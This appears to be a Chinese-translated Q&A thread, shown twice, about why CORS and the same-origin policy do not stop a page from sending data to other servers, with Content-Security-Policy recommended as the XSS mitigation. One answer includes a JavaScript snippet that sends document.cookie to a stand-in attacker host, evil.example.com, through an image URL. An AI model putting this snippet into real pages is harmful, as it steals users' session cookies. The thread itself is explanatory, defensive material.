为什么 CORS 允许向任何服务器发送数据?
Why does CORS allow sending data to any server?
我花了一些时间来了解 Cross-Origin-Resource-Sharing 是如何工作的,我不敢相信这怎么会设计得如此不安全。
当 foo.com
上托管的网站想要通过 ajax 请求存储在 bar.com
的资源时,浏览器会询问 bar.com
是否允许该请求。
仅当 bar.com
明确允许来自 foo.com
的异步请求(通过 Access-Control-Allow-Origin
响应 header)时,资源才会交付给客户端。
如果应该读取数据,这不是安全问题。但是如果数据发送到请求的服务器,它是。
过去,如果黑客成功地在网站中插入 JavaScript 代码以窃取 cookie 数据或其他信息,Same-Origin-Policy
防止他可以将信息直接发送到他自己的服务器。
但多亏了 CORS,黑客可以通过启用任何来源直接将窃取的信息发送到他自己的服务器。
我知道,CORS 仍在开发中,但已经被几乎所有主流浏览器支持。那么,CORS为什么要这样设计呢?如果要求原始服务器获得发送 ajax 请求的许可,它会不会更安全?
在我看来,这是安全性的下降。或者不是吗?
我发现的所有 "known issues" 与 CORS 相关的都是请求服务器上的弱配置。
CORS 不是为这个安全问题设计的。
针对您提到的这个问题,您需要防止站点执行任意操作javascript。更具体地说,您想防止:
- 从非 white-listed 来源加载的脚本
- 直接在页面中的脚本(作为属性或在
<script>
元素中)
为此,我们使用 Content-Security-Policy
header,例如可以将其设置为 "script-src 'self'"
(这意味着只能执行从同一来源的外部文件加载的脚本).
任何具有重要生成内容的网站都应该设置此 header,但不幸的是,这在旧框架中可能很难处理,因为这会增加非常严格的限制。
同源策略纯粹是为了防止一个源读取来自另一个源的资源。您描述的副作用——阻止一个源向另一个源发送数据——从来都不是同源策略目的的一部分。
事实上,从 Web 诞生之初就从未禁止过将数据发送到另一个来源。您的浏览器始终发送跨域请求:任何时候遇到跨域 <img>
、<script>
、<iframe>
等。同源策略只是限制脚本的能力阅读这些资源;它从未限制浏览器获取它们并将它们显示给用户的能力。
考虑以下代码:
var img = document.createElement("img");
img.src = "http://evil.example.com/steal?cookie=" + document.cookie;
这将创建:
<img src="http://evil.example.com/steal?cookie=SESSION=dfgh6r...">
当它被添加到页面的 DOM 时,它将发送 cookie 数据到 evil.example.com
。同源策略从未阻止过这种行为。
如果您对允许您的页面发送数据的白名单来源感兴趣,您需要一个content security policy,它被明确设计为一种 XSS 缓解机制.
我花了一些时间来了解 Cross-Origin-Resource-Sharing 是如何工作的,我不敢相信这怎么会设计得如此不安全。
当 foo.com
上托管的网站想要通过 ajax 请求存储在 bar.com
的资源时,浏览器会询问 bar.com
是否允许该请求。
仅当 bar.com
明确允许来自 foo.com
的异步请求(通过 Access-Control-Allow-Origin
响应 header)时,资源才会交付给客户端。
如果应该读取数据,这不是安全问题。但是如果数据发送到请求的服务器,它是。
过去,如果黑客成功地在网站中插入 JavaScript 代码以窃取 cookie 数据或其他信息,Same-Origin-Policy 防止他可以将信息直接发送到他自己的服务器。
但多亏了 CORS,黑客可以通过启用任何来源直接将窃取的信息发送到他自己的服务器。
我知道,CORS 仍在开发中,但已经被几乎所有主流浏览器支持。那么,CORS为什么要这样设计呢?如果要求原始服务器获得发送 ajax 请求的许可,它会不会更安全?
在我看来,这是安全性的下降。或者不是吗? 我发现的所有 "known issues" 与 CORS 相关的都是请求服务器上的弱配置。
CORS 不是为这个安全问题设计的。
针对您提到的这个问题,您需要防止站点执行任意操作javascript。更具体地说,您想防止:
- 从非 white-listed 来源加载的脚本
- 直接在页面中的脚本(作为属性或在
<script>
元素中)
为此,我们使用 Content-Security-Policy
header,例如可以将其设置为 "script-src 'self'"
(这意味着只能执行从同一来源的外部文件加载的脚本).
任何具有重要生成内容的网站都应该设置此 header,但不幸的是,这在旧框架中可能很难处理,因为这会增加非常严格的限制。
同源策略纯粹是为了防止一个源读取来自另一个源的资源。您描述的副作用——阻止一个源向另一个源发送数据——从来都不是同源策略目的的一部分。
事实上,从 Web 诞生之初就从未禁止过将数据发送到另一个来源。您的浏览器始终发送跨域请求:任何时候遇到跨域 <img>
、<script>
、<iframe>
等。同源策略只是限制脚本的能力阅读这些资源;它从未限制浏览器获取它们并将它们显示给用户的能力。
考虑以下代码:
var img = document.createElement("img");
img.src = "http://evil.example.com/steal?cookie=" + document.cookie;
这将创建:
<img src="http://evil.example.com/steal?cookie=SESSION=dfgh6r...">
当它被添加到页面的 DOM 时,它将发送 cookie 数据到 evil.example.com
。同源策略从未阻止过这种行为。
如果您对允许您的页面发送数据的白名单来源感兴趣,您需要一个content security policy,它被明确设计为一种 XSS 缓解机制.